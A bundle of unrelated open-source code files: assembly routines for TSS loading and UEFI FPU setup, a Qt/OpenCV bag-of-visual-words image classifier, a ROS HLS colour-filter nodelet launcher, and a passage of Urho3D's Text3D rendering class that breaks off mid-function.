lpe
lpb $2
mov $1,$2
trn $2,4
lpe
mov $0,$1
div $0,2
add $6,$0
lpe
mov $0,$6
|
global LoadTSS
LoadTSS: ; RDI - address, RSI - GDT, RDX - selector
push rbx ; Save RBX
lea rbx, [rsi + rdx] ; Length of TSS
mov word [rbx], 108
mov eax, edi
lea rbx, [rsi + rdx + 2] ; Low Bytes of TSS
mov word [rbx], ax
mov eax, edi
shr eax, 16
lea rbx, [rsi + rdx + 4] ; Mid
mov byte [rbx], al
mov eax, edi
shr eax, 24
lea rbx, [rsi + rdx + 7] ; High
mov byte [rbx], al
mov rax, rdi
shr rax, 32
lea rbx, [rsi + rdx + 8] ; High 32
mov dword [rbx], eax
pop rbx ; Restore RBX
ret |
#include "bagOfWords.h"
#include <iostream>
#include <QObject>
#include <QDir>
#include <QFileInfoList>
#include <QFileInfo>
#include <QDebug>
#include <QApplication>
BagOfWords::BagOfWords(){
m_retries = 1;
m_k = 0;
m_degree = 10;
m_with = false;
autoK = true;
m_flags = KMEANS_PP_CENTERS;
m_tc = TermCriteria(CV_TERMCRIT_ITER+CV_TERMCRIT_EPS,100,0.00001);
QString str = QDir::currentPath().append(DICTIONNARY);
m_dictionaryPath = QDir::toNativeSeparators(str);
}
void BagOfWords::setK(int k){m_k = k; autoK = false;}
void BagOfWords::setK(){
Mat dictionary;
FileStorage fs(m_dictionaryPath.toLocal8Bit().constData(), FileStorage::READ);
fs["vocabulary"] >> dictionary;
fs.release();
m_k = dictionary.rows;
}
QString BagOfWords::getClass(const QString img){
return img.split("_").at(0);
}
bool BagOfWords::isTrainingImg(const QString img){
if(m_degree == 1)
return true;
try{
int val = img.split("__").at(1).split(".").at(0).toInt();
return (((val%m_degree) == 0) ^ m_with);
}catch(Exception ex){
qDebug() << "Image mal formatée : " << img;
}
return false;
}
void BagOfWords::setCriteria(int type, int maxCount, double epsilon){
m_tc = TermCriteria(type, maxCount, epsilon);
}
bool BagOfWords::createBow(QString directory, QProgressBar *bar){
Mat data;
Mat input;
Mat dictionary;
vector<KeyPoint> keypoints;
Mat descriptor;
Ptr<FeatureDetector> detector(new SiftFeatureDetector());
Ptr<DescriptorExtractor> extractor(new SiftDescriptorExtractor());
try{
QDir dir(directory);
QStringList filters;
filters << "*.png" << "*.jpg" << "*.jpeg" << "*.bmp";
QFileInfoList info = dir.entryInfoList(filters, QDir::Files|QDir::NoDotAndDotDot);
float counter = (85/(float)info.size());
float total = 0;
bar->setFormat(QObject::tr("Chargement des descripteurs. %0%").arg(bar->value()));
for(int i=0; i<info.size(); i++){
total+=counter;
bar->setValue(total);
if(!isTrainingImg(info.at(i).fileName()))
continue;
bar->setFormat(QObject::tr("Chargement du descripteurs(%1). %0%").arg(bar->value())
.arg(info.at(i).fileName()));
QApplication::processEvents();
input = imread(info.at(i).absoluteFilePath().toLocal8Bit().constData(),
CV_LOAD_IMAGE_GRAYSCALE);
detector->detect(input, keypoints);
extractor->compute(input, keypoints,descriptor);
data.push_back(descriptor);
}
if(autoK)
m_k = (int)sqrt((double)(data.rows/2));
bar->setFormat(QObject::tr("Creation du sac de mot visuel(nombre de cluster = %1). %0%")
.arg(bar->value()).arg(m_k));
QApplication::processEvents();
BOWKMeansTrainer trainer(m_k,m_tc,m_retries,m_flags);
dictionary = trainer.cluster(data);
bar->setValue(bar->value()+10);
bar->setFormat(QObject::tr("Enregistrement du dictionnaire(dictionary.xml). %0%").arg(bar->value()));
FileStorage fs(m_dictionaryPath.toLocal8Bit().constData(), FileStorage::WRITE);
fs << "vocabulary" << dictionary;
fs.release();
return true;
}catch(Exception e){
qDebug() << "Exception dans createBow(): " << e.what();
}
return false;
}
void BagOfWords::loadData(const QString image, Mat &bowDescriptor){
Mat input;
vector<KeyPoint> keypoints;
Mat dictionary;
FileStorage fs(m_dictionaryPath.toLocal8Bit().constData(), FileStorage::READ);
fs["vocabulary"] >> dictionary;
fs.release();
Ptr<DescriptorMatcher> matcher(new FlannBasedMatcher);
Ptr<FeatureDetector> detector(new SiftFeatureDetector());
Ptr<DescriptorExtractor> extractor(new SiftDescriptorExtractor());
BOWImgDescriptorExtractor bowDE(extractor,matcher);
bowDE.setVocabulary(dictionary);
QFileInfo file(image);
input = imread(file.absoluteFilePath().toLocal8Bit().constData(), CV_LOAD_IMAGE_GRAYSCALE);
detector->detect(input, keypoints);
bowDE.compute(input, keypoints, bowDescriptor);
}
void BagOfWords::loadData(vector<Mat> &input, QProgressBar *bar, float total){
vector<KeyPoint> keypoints;
Mat bowDescriptor;
Mat dictionary;
float in = (float) bar->value();
float counter = ((bar->maximum()*total)/100.0f)/(float)input.size();
bar->setFormat(QObject::tr("Chargement du dictionnaire. %0%").arg(bar->value()));
FileStorage fs(m_dictionaryPath.toLocal8Bit().constData(), FileStorage::READ);
fs["vocabulary"] >> dictionary;
fs.release();
Ptr<DescriptorMatcher> matcher(new FlannBasedMatcher);
Ptr<FeatureDetector> detector(new SiftFeatureDetector());
Ptr<DescriptorExtractor> extractor(new SiftDescriptorExtractor());
BOWImgDescriptorExtractor bowDE(extractor,matcher);
bowDE.setVocabulary(dictionary);
in += counter*2;
bar->setValue(in);
bar->setFormat(QObject::tr("Creation des descripteurs. %0%").arg(bar->value()));
for(unsigned int i=0; i<input.size(); i++){
detector->detect(input.at(i), keypoints);
bowDE.compute(input.at(i), keypoints, bowDescriptor);
if(bowDescriptor.rows > 0)
input.at(i) = bowDescriptor;
else
input.at(i) = Mat();
in += counter;
bar->setValue(in);
bar->setFormat(QObject::tr("Creation des descripteurs en cours ... %0%").arg(bar->value()));
QApplication::processEvents();
}
}
void BagOfWords::loadDataSet(QString directory, Mat &data){
Mat input;
Mat bowDescriptor;
vector<KeyPoint> keypoints;
Mat dictionary;
FileStorage fs(m_dictionaryPath.toLocal8Bit().constData(), FileStorage::READ);
fs["vocabulary"] >> dictionary;
fs.release();
Ptr<DescriptorMatcher> matcher(new FlannBasedMatcher);
Ptr<FeatureDetector> detector(new SiftFeatureDetector());
Ptr<DescriptorExtractor> extractor(new SiftDescriptorExtractor());
BOWImgDescriptorExtractor bowDE(extractor,matcher);
bowDE.setVocabulary(dictionary);
QDir dir(directory);
QStringList filters;
filters << "*.png" << "*.jpg" << "*.jpeg" << "*.bmp";
QFileInfoList info = dir.entryInfoList(filters, QDir::Files|QDir::NoDotAndDotDot);
for(int i=0; i<info.size(); i++){
input = imread(info.at(i).absoluteFilePath().toLocal8Bit().constData(),
CV_LOAD_IMAGE_GRAYSCALE);
detector->detect(input, keypoints);
bowDE.compute(input, keypoints, bowDescriptor);
data.push_back(bowDescriptor);
}
}
void BagOfWords::loadTrainingSet(QString directory,
QStringList &nnClass, Mat &data, Mat &label, QProgressBar *bar){
int pos = 0;
QString class1;
Mat input;
Mat bowDescriptor;
vector<KeyPoint> keypoints;
Mat dictionary;
FileStorage fs(m_dictionaryPath.toLocal8Bit().constData(), FileStorage::READ);
fs["vocabulary"] >> dictionary;
fs.release();
Ptr<DescriptorMatcher> matcher(new FlannBasedMatcher);
Ptr<FeatureDetector> detector(new SiftFeatureDetector());
Ptr<DescriptorExtractor> extractor(new SiftDescriptorExtractor());
BOWImgDescriptorExtractor bowDE(extractor,matcher);
bowDE.setVocabulary(dictionary);
QDir dir(directory);
QStringList filters;
filters << "*.png" << "*.jpg" << "*.jpeg" << "*.bmp";
QFileInfoList info = dir.entryInfoList(filters, QDir::Files|QDir::NoDotAndDotDot);
float in = (float) bar->value();
float counter = ((bar->maximum()*70)/100.0f)/(float)info.size();
bar->setFormat(QObject::tr("Creation de l'ensemble d'apprentissage. %0%").arg(bar->value()));
for(int i=0; i<info.size(); i++){
in += counter;
bar->setValue(in);
if(!isTrainingImg(info.at(i).fileName()))
continue;
bar->setFormat(QObject::tr("Chargement des caracteristiques(%1). %0%").arg(bar->value())
.arg(info.at(i).fileName()));
QApplication::processEvents();
bool test = false;
class1 = BagOfWords::getClass(info.at(i).fileName());
for(int j=0;j<nnClass.count();j++){
if(class1 == nnClass.at(j)){
pos = j;
test = true;
break;
}
}
input = imread(info.at(i).absoluteFilePath().toLocal8Bit().constData(),
CV_LOAD_IMAGE_GRAYSCALE);
detector->detect(input, keypoints);
bowDE.compute(input, keypoints, bowDescriptor);
if(bowDescriptor.rows == 0){
qDebug() << "ATTENTION : '" << info.at(i).fileName() << "' pas de descripteur trouvé !";
continue;
}
data.push_back(bowDescriptor);
Mat row = Mat (1, nnClass.count(), CV_32FC1);
for(int j=0; j<row.cols; j++)
row.at<float>(0,j) = (j == pos && test)?1.0f:-1.0f;
label.push_back(row);
if(!test) qDebug() << "L'objet '" << class1 << "' n'a pas de classe !";
}
}
|
/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2016, Kentaro Wada.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the Kentaro Wada nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
#include <ros/ros.h>
#include <nodelet/loader.h>
int main(int argc, char **argv)
{
ros::init(argc, argv, "hls_color_filter", ros::init_options::AnonymousName);
if (ros::names::remap("image") == "image") {
ROS_WARN("Topic 'image' has not been remapped! Typical command-line usage:\n"
"\t$ rosrun image_rotate image_rotate image:=<image topic> [transport]");
}
// need to use 1 worker thread to prevent freezing in imshow, calling imshow from mutiple threads
//nodelet::Loader manager(false);
ros::param::set("~num_worker_threads", 1); // need to call Loader(bool provide_ros_api = true);
nodelet::Loader manager(true);
nodelet::M_string remappings;
nodelet::V_string my_argv(argv + 1, argv + argc);
my_argv.push_back("--shutdown-on-close"); // Internal
manager.load(ros::this_node::getName(), "opencv_apps/hls_color_filter", remappings, my_argv);
ros::spin();
return 0;
}
|
;------------------------------------------------------------------------------
;*
;* Copyright (c) 2009 - 2012, Intel Corporation. All rights reserved.<BR>
;* This program and the accompanying materials
;* are licensed and made available under the terms and conditions of the BSD License
;* which accompanies this distribution. The full text of the license may be found at
;* http://opensource.org/licenses/bsd-license.php
;*
;* THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
;* WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;*
;*
;------------------------------------------------------------------------------
.const
;
; Float control word initial value:
; all exceptions masked, double-extended-precision, round-to-nearest
;
mFpuControlWord DW 037Fh
;
; Multimedia-extensions control word:
; all exceptions masked, round-to-nearest, flush to zero for masked underflow
;
mMmxControlWord DD 01F80h
.code
;
; Initializes floating point units for requirement of UEFI specification.
;
; This function initializes floating-point control word to 0x027F (all exceptions
; masked,double-precision, round-to-nearest) and multimedia-extensions control word
; (if supported) to 0x1F80 (all exceptions masked, round-to-nearest, flush to zero
; for masked underflow).
;
InitializeFloatingPointUnits PROC PUBLIC
;
; Initialize floating point units
;
; The following opcodes stand for instruction 'finit'
; to be supported by some 64-bit assemblers
;
DB 9Bh, 0DBh, 0E3h
fldcw mFpuControlWord
;
; Set OSFXSR bit 9 in CR4
;
mov rax, cr4
or rax, BIT9
mov cr4, rax
ldmxcsr mMmxControlWord
ret
InitializeFloatingPointUnits ENDP
END
|
//
// Copyright (c) 2008-2018 the Urho3D project.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#include "../Precompiled.h"
#include "../Core/Context.h"
#include "../Graphics/Camera.h"
#include "../Graphics/Geometry.h"
#include "../Graphics/Graphics.h"
#include "../Graphics/Material.h"
#include "../Graphics/Technique.h"
#include "../Graphics/VertexBuffer.h"
#include "../IO/Log.h"
#include "../Resource/ResourceCache.h"
#include "../Scene/Node.h"
#include "../UI/Font.h"
#include "../UI/Text.h"
#include "../UI/Text3D.h"
namespace Urho3D
{
extern const char* horizontalAlignments[];
extern const char* verticalAlignments[];
extern const char* textEffects[];
extern const char* faceCameraModeNames[];
extern const char* GEOMETRY_CATEGORY;
static const float TEXT_SCALING = 1.0f / 128.0f;
static const float DEFAULT_EFFECT_DEPTH_BIAS = 0.1f;
Text3D::Text3D(Context* context) :
Drawable(context, DRAWABLE_GEOMETRY),
text_(context),
vertexBuffer_(new VertexBuffer(context_)),
customWorldTransform_(Matrix3x4::IDENTITY),
faceCameraMode_(FC_NONE),
minAngle_(0.0f),
fixedScreenSize_(false),
textDirty_(true),
geometryDirty_(true),
usingSDFShader_(false),
fontDataLost_(false)
{
text_.SetEffectDepthBias(DEFAULT_EFFECT_DEPTH_BIAS);
}
Text3D::~Text3D() = default;
void Text3D::RegisterObject(Context* context)
{
context->RegisterFactory<Text3D>(GEOMETRY_CATEGORY);
URHO3D_ACCESSOR_ATTRIBUTE("Is Enabled", IsEnabled, SetEnabled, bool, true, AM_DEFAULT);
URHO3D_MIXED_ACCESSOR_ATTRIBUTE("Font", GetFontAttr, SetFontAttr, ResourceRef, ResourceRef(Font::GetTypeStatic()), AM_DEFAULT);
URHO3D_MIXED_ACCESSOR_ATTRIBUTE("Material", GetMaterialAttr, SetMaterialAttr, ResourceRef, ResourceRef(Material::GetTypeStatic()),
AM_DEFAULT);
URHO3D_ATTRIBUTE("Font Size", float, text_.fontSize_, DEFAULT_FONT_SIZE, AM_DEFAULT);
URHO3D_MIXED_ACCESSOR_ATTRIBUTE("Text", GetTextAttr, SetTextAttr, String, String::EMPTY, AM_DEFAULT);
URHO3D_ENUM_ATTRIBUTE("Text Alignment", text_.textAlignment_, horizontalAlignments, HA_LEFT, AM_DEFAULT);
URHO3D_ATTRIBUTE("Row Spacing", float, text_.rowSpacing_, 1.0f, AM_DEFAULT);
URHO3D_ATTRIBUTE("Word Wrap", bool, text_.wordWrap_, false, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Can Be Occluded", IsOccludee, SetOccludee, bool, true, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Fixed Screen Size", IsFixedScreenSize, SetFixedScreenSize, bool, false, AM_DEFAULT);
URHO3D_ENUM_ATTRIBUTE("Face Camera Mode", faceCameraMode_, faceCameraModeNames, FC_NONE, AM_DEFAULT);
URHO3D_ATTRIBUTE("Min Angle", float, minAngle_, 0.0f, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Draw Distance", GetDrawDistance, SetDrawDistance, float, 0.0f, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Width", GetWidth, SetWidth, int, 0, AM_DEFAULT);
URHO3D_ENUM_ACCESSOR_ATTRIBUTE("Horiz Alignment", GetHorizontalAlignment, SetHorizontalAlignment, HorizontalAlignment,
horizontalAlignments, HA_LEFT, AM_DEFAULT);
URHO3D_ENUM_ACCESSOR_ATTRIBUTE("Vert Alignment", GetVerticalAlignment, SetVerticalAlignment, VerticalAlignment, verticalAlignments,
VA_TOP, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Opacity", GetOpacity, SetOpacity, float, 1.0f, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Color", GetColorAttr, SetColor, Color, Color::WHITE, AM_DEFAULT);
URHO3D_ATTRIBUTE("Top Left Color", Color, text_.colors_[0], Color::WHITE, AM_DEFAULT);
URHO3D_ATTRIBUTE("Top Right Color", Color, text_.colors_[1], Color::WHITE, AM_DEFAULT);
URHO3D_ATTRIBUTE("Bottom Left Color", Color, text_.colors_[2], Color::WHITE, AM_DEFAULT);
URHO3D_ATTRIBUTE("Bottom Right Color", Color, text_.colors_[3], Color::WHITE, AM_DEFAULT);
URHO3D_ENUM_ATTRIBUTE("Text Effect", text_.textEffect_, textEffects, TE_NONE, AM_DEFAULT);
URHO3D_ATTRIBUTE("Shadow Offset", IntVector2, text_.shadowOffset_, IntVector2(1, 1), AM_DEFAULT);
URHO3D_ATTRIBUTE("Stroke Thickness", int, text_.strokeThickness_, 1, AM_DEFAULT);
URHO3D_ATTRIBUTE("Round Stroke", bool, text_.roundStroke_, false, AM_DEFAULT);
URHO3D_ACCESSOR_ATTRIBUTE("Effect Color", GetEffectColor, SetEffectColor, Color, Color::BLACK, AM_DEFAULT);
URHO3D_ATTRIBUTE("Effect Depth Bias", float, text_.effectDepthBias_, DEFAULT_EFFECT_DEPTH_BIAS, AM_DEFAULT);
URHO3D_COPY_BASE_ATTRIBUTES(Drawable);
}
void Text3D::ApplyAttributes()
{
text_.ApplyAttributes();
MarkTextDirty();
UpdateTextBatches();
UpdateTextMaterials();
}
void Text3D::UpdateBatches(const FrameInfo& frame)
{
distance_ = frame.camera_->GetDistance(GetWorldBoundingBox().Center());
if (faceCameraMode_ != FC_NONE || fixedScreenSize_)
CalculateFixedScreenSize(frame);
for (unsigned i = 0; i < batches_.Size(); ++i)
{
batches_[i].distance_ = distance_;
batches_[i].worldTransform_ = faceCameraMode_ != FC_NONE ? &customWorldTransform_ : &node_->GetWorldTransform();
}
for (unsigned i = 0; i < uiBatches_.Size(); ++i)
{
if (uiBatches_[i].texture_ && uiBatches_[i].texture_->IsDataLost())
{
fontDataLost_ = true;
break;
}
}
}
void Text3D::UpdateGeometry(const FrameInfo& frame)
{
if (fontDataLost_)
{
// Re-evaluation of the text triggers the font face to reload itself
UpdateTextBatches();
UpdateTextMaterials();
fontDataLost_ = false;
}
// In case is being rendered from multiple views, recalculate camera facing & fixed size
if (faceCameraMode_ != FC_NONE || fixedScreenSize_)
CalculateFixedScreenSize(frame);
if (geometryDirty_)
{
for (unsigned i = 0; i < batches_.Size() && i < uiBatches_.Size(); ++i)
{
Geometry* geometry = geometries_[i];
geometry->SetDrawRange(TRIANGLE_LIST, 0, 0, uiBatches_[i].vertexStart_ / UI_VERTEX_SIZE,
(uiBatches_[i].vertexEnd_ - uiBatches_[i].vertexStart_) / UI_VERTEX_SIZE);
}
}
if ((geometryDirty_ || vertexBuffer_->IsDataLost()) && uiVertexData_.Size())
{
unsigned vertexCount = uiVertexData_.Size() / UI_VERTEX_SIZE;
if (vertexBuffer_->GetVertexCount() != vertexCount)
vertexBuffer_->SetSize(vertexCount, MASK_POSITION | MASK_COLOR | MASK_TEXCOORD1);
vertexBuffer_->SetData(&uiVertexData_[0]);
}
geometryDirty_ = false;
}
UpdateGeometryType Text3D::GetUpdateGeometryType()
{
if (geometryDirty_ || fontDataLost_ || vertexBuffer_->IsDataLost() || faceCameraMode_ != FC_NONE || fixedScreenSize_)
return UPDATE_MAIN_THREAD;
else
return UPDATE_NONE;
}
void Text3D::SetMaterial(Material* material)
{
material_ = material;
UpdateTextMaterials(true);
}
bool Text3D::SetFont(const String& fontName, float size)
{
bool success = text_.SetFont(fontName, size);
// Changing font requires materials to be re-evaluated. Material evaluation can not be done in worker threads,
// so UI batches must be brought up-to-date immediately
MarkTextDirty();
UpdateTextBatches();
UpdateTextMaterials();
return success;
}
bool Text3D::SetFont(Font* font, float size)
{
bool success = text_.SetFont(font, size);
MarkTextDirty();
UpdateTextBatches();
UpdateTextMaterials();
return success;
}
bool Text3D::SetFontSize(float size)
{
bool success = text_.SetFontSize(size);
MarkTextDirty();
UpdateTextBatches();
UpdateTextMaterials();
return success;
}
void Text3D::SetText(const String& text)
{
text_.SetText(text);
// Changing text requires materials to be re-evaluated, in case the font is multi-page
MarkTextDirty();
UpdateTextBatches();
UpdateTextMaterials();
}
void Text3D::SetAlignment(HorizontalAlignment hAlign, VerticalAlignment vAlign)
{
text_.SetAlignment(hAlign, vAlign);
MarkTextDirty();
}
void Text3D::SetHorizontalAlignment(HorizontalAlignment align)
{
text_.SetHorizontalAlignment(align);
MarkTextDirty();
}
void Text3D::SetVerticalAlignment(VerticalAlignment align)
{
text_.SetVerticalAlignment(align);
MarkTextDirty();
}
void Text3D::SetTextAlignment(HorizontalAlignment align)
{
text_.SetTextAlignment(align);
MarkTextDirty();
}
void Text3D::SetRowSpacing(float spacing)
{
text_.SetRowSpacing(spacing);
MarkTextDirty();
}
void Text3D::SetWordwrap(bool enable)
{
text_.SetWordwrap(enable);
MarkTextDirty();
}
void Text3D::SetTextEffect(TextEffect textEffect)
{
text_.SetTextEffect(textEffect);
MarkTextDirty();
UpdateTextMaterials(true);
}
void Text3D::SetEffectShadowOffset(const IntVector2& offset)
{
text_.SetEffectShadowOffset(offset);
}
void Text3D::SetEffectStrokeThickness(int thickness)
{
text_.SetEffectStrokeThickness(thickness);
}
void Text3D::SetEffectRoundStroke(bool roundStroke)
{
text_.SetEffectRoundStroke(roundStroke);
}
void Text3D::SetEffectColor(const Color& effectColor)
{
text_.SetEffectColor(effectColor);
MarkTextDirty();
UpdateTextMaterials();
}
void Text3D::SetEffectDepthBias(float bias)
{
text_.SetEffectDepthBias(bias);
MarkTextDirty();
}
void Text3D::SetWidth(int width)
{
text_.SetMinWidth(width);
text_.SetWidth(width);
MarkTextDirty();
}
void Text3D::SetColor(const Color& color)
{
float oldAlpha = text_.GetColor(C_TOPLEFT).a_;
text_.SetColor(color);
MarkTextDirty();
// If alpha changes from zero to nonzero or vice versa, amount of text batches changes (optimization), so do full update
if ((oldAlpha == 0.0f && color.a_ != 0.0f) || (oldAlpha != 0.0f && color.a_ == 0.0f))
{
UpdateTextBatches();
UpdateTextMaterials();
}
}
void Text3D::SetColor(Corner corner, const Color& color)
{
text_.SetColor(corner, color);
MarkTextDirty();
}
void Text3D::SetOpacity(float opacity)
{
float oldOpacity = text_.GetOpacity();
text_.SetOpacity(opacity);
float newOpacity = text_.GetOpacity();
MarkTextDirty();
// If opacity changes from zero to nonzero or vice versa, amount of text batches changes (optimization), so do full update
if ((oldOpacity == 0.0f && newOpacity != 0.0f) || (oldOpacity != 0.0f && newOpacity == 0.0f))
{
UpdateTextBatches();
UpdateTextMaterials();
}
}
void Text3D::SetFixedScreenSize(bool enable)
{
if (enable != fixedScreenSize_)
{
fixedScreenSize_ = enable;
// Bounding box must be recalculated
OnMarkedDirty(node_);
MarkNetworkUpdate();
}
}
void Text3D::SetFaceCameraMode(FaceCameraMode mode)
{
if (mode != faceCameraMode_)
{
faceCameraMode_ = mode;
// Bounding box must be recalculated
OnMarkedDirty(node_);
MarkNetworkUpdate();
}
}
Material* Text3D::GetMaterial() const
{
return material_;
}
Font* Text3D::GetFont() const
{
return text_.GetFont();
}
float Text3D::GetFontSize() const
{
return text_.GetFontSize();
}
const String& Text3D::GetText() const
{
return text_.GetText();
}
HorizontalAlignment Text3D::GetHorizontalAlignment() const
{
return text_.GetHorizontalAlignment();
}
VerticalAlignment Text3D::GetVerticalAlignment() const
{
return text_.GetVerticalAlignment();
}
HorizontalAlignment Text3D::GetTextAlignment() const
{
return text_.GetTextAlignment();
}
float Text3D::GetRowSpacing() const
{
return text_.GetRowSpacing();
}
bool Text3D::GetWordwrap() const
{
return text_.GetWordwrap();
}
TextEffect Text3D::GetTextEffect() const
{
return text_.GetTextEffect();
}
const IntVector2& Text3D::GetEffectShadowOffset() const
{
return text_.GetEffectShadowOffset();
}
int Text3D::GetEffectStrokeThickness() const
{
return text_.GetEffectStrokeThickness();
}
bool Text3D::GetEffectRoundStroke() const
{
return text_.GetEffectRoundStroke();
}
const Color& Text3D::GetEffectColor() const
{
return text_.GetEffectColor();
}
float Text3D::GetEffectDepthBias() const
{
return text_.GetEffectDepthBias();
}
int Text3D::GetWidth() const
{
return text_.GetWidth();
}
int Text3D::GetHeight() const
{
return text_.GetHeight();
}
int Text3D::GetRowHeight() const
{
return text_.GetRowHeight();
}
unsigned Text3D::GetNumRows() const
{
return text_.GetNumRows();
}
unsigned Text3D::GetNumChars() const
{
return text_.GetNumChars();
}
int Text3D::GetRowWidth(unsigned index) const
{
return text_.GetRowWidth(index);
}
Vector2 Text3D::GetCharPosition(unsigned index)
{
return text_.GetCharPosition(index);
}
Vector2 Text3D::GetCharSize(unsigned index)
{
return text_.GetCharSize(index);
}
const Color& Text3D::GetColor(Corner corner) const
{
return text_.GetColor(corner);
}
float Text3D::GetOpacity() const
{
return text_.GetOpacity();
}
void Text3D::OnNodeSet(Node* node)
{
Drawable::OnNodeSet(node);
if (node)
customWorldTransform_ = node->GetWorldTransform();
}
void Text3D::OnWorldBoundingBoxUpdate()
{
if (textDirty_)
UpdateTextBatches();
// In face camera mode, use the last camera rotation to build the world bounding box
if (faceCameraMode_ != FC_NONE || fixedScreenSize_)
{
worldBoundingBox_ = boundingBox_.Transformed(Matrix3x4(node_->GetWorldPosition(),
customWorldTransform_.Rotation(), customWorldTransform_.Scale()));
}
else
worldBoundingBox_ = boundingBox_.Transformed(node_->GetWorldTransform());
}
void Text3D::MarkTextDirty()
{
textDirty_ = true;
OnMarkedDirty(node_);
MarkNetworkUpdate();
}
void Text3D::SetMaterialAttr(const ResourceRef& value)
{
auto* cache = GetSubsystem<ResourceCache>();
SetMaterial(cache->GetResource<Material>(value.name_));
}
void Text3D::SetFontAttr(const ResourceRef& value)
{
auto* cache = GetSubsystem<ResourceCache>();
text_.font_ = cache->GetResource<Font>(value.name_);
}
void Text3D::SetTextAttr(const String& value)
{
text_.SetTextAttr(value);
}
String Text3D::GetTextAttr() const
{
return text_.GetTextAttr();
}
ResourceRef Text3D::GetMaterialAttr() const
{
return GetResourceRef(material_, Material::GetTypeStatic());
}
ResourceRef Text3D::GetFontAttr() const
{
return GetResourceRef(text_.font_, Font::GetTypeStatic());
}
void Text3D::UpdateTextBatches()
{
uiBatches_.Clear();
uiVertexData_.Clear();
text_.GetBatches(uiBatches_, uiVertexData_, IntRect::ZERO);
Vector3 offset(Vector3::ZERO);
switch (text_.GetHorizontalAlignment())
{
case HA_LEFT:
break;
case HA_CENTER:
offset.x_ -= (float)text_.GetWidth() * 0.5f;
break;
case HA_RIGHT:
offset.x_ -= (float)text_.GetWidth();
break;
}
switch (text_.GetVerticalAlignment())
{
case VA_TOP:
break;
case VA_CENTER:
offset.y_ -= (float)text_.GetHeight() * 0.5f;
break;
case VA_BOTTOM:
offset.y_ -= (float)text_.GetHeight();
break;
}
if (uiVertexData_.Size())
{
boundingBox_.Clear();
for (unsigned i = 0; i < uiVertexData_.Size(); i += UI_VERTEX_SIZE)
{
Vector3& position = *(reinterpret_cast<Vector3*>(&uiVertexData_[i]));
position += offset;
position *= TEXT_SCALING;
position.y_ = -position.y_;
boundingBox_.Merge(position);
}
}
else
boundingBox_.Define(Vector3::ZERO, Vector3::ZERO);
textDirty_ = false;
geometryDirty_ = true;
}
void Text3D::UpdateTextMaterials(bool forceUpdate)
{
Font* font = GetFont();
bool isSDFFont = font ? font->IsSDFFont() : false;
batches_.Resize(uiBatches_.Size());
geometries_.Resize(uiBatches_.Size());
for (unsigned i = 0; i < batches_.Size(); ++i)
{
if (!geometries_[i])
{
auto* geometry = new Geometry(context_);
geometry->SetVertexBuffer(0, vertexBuffer_);
batches_[i].geometry_ = geometries_[i] = geometry;
}
if (!batches_[i].material_ || forceUpdate || isSDFFont != usingSDFShader_)
{
// If material not defined, create a reasonable default from scratch
if (!material_)
{
auto* material = new Material(context_);
auto* tech = new Technique(context_);
Pass* pass = tech->CreatePass("alpha");
pass->SetVertexShader("Text");
pass->SetPixelShader("Text");
pass->SetBlendMode(BLEND_ALPHA);
pass->SetDepthWrite(false);
material->SetTechnique(0, tech);
material->SetCullMode(CULL_NONE);
batches_[i].material_ = material;
}
else
batches_[i].material_ = material_->Clone();
usingSDFShader_ = isSDFFont;
}
Material* material = batches_[i].material_;
Texture* texture = uiBatches_[i].texture_;
material->SetTexture(TU_DIFFUSE, texture);
if (isSDFFont)
{
// Note: custom defined material is assumed to have right shader defines; they aren't modified here
if (!material_)
{
Technique* tech = material->GetTechnique(0);
